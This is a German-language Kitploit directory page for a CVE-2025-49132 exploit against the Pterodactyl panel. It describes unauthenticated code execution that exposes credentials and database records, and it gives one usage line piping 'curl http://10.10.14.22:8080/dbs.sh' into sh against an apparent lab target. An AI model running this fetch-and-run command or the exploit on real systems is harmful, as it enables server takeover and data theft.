Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-49132 | Kitploit
Tools/GitHubGitHub/scroollocker/cve-2025-49132
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlPayload-Entwicklung
GitHubscroollocker/cve-2025-49132

CVE-2025-49132

Repository anzeigen
vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Auswirkungen

Durch die Verwendung von /locales/locale.json mit den Abfrageparametern locale und namespace ist ein böswilliger Akteur in der Lage, beliebigen Code auszuführen, ohne authentifiziert zu sein.

Mit der Fähigkeit, beliebigen Code auszuführen, kann diese Schwachstelle auf unzählige Arten ausgenutzt werden. Sie könnte genutzt werden, um Zugriff auf den Server des Panels zu erlangen, Anmeldedaten aus der Konfiguration des Panels (.env oder anderweitig) zu lesen, sensible Informationen aus der Datenbank zu extrahieren (wie Benutzerdetails [Benutzername, E-Mail, Vor- und Nachname, gehashtes Passwort, IP-Adressen usw.]), auf Dateien von Servern zuzugreifen, die vom Panel verwaltet werden, usw.

Verwendung

root@kitploit:~

python exploit.py --target "pterodactyl.htb" --cmd 'curl http://10.10.14.22:8080/dbs.sh | sh'
Tool herunterladen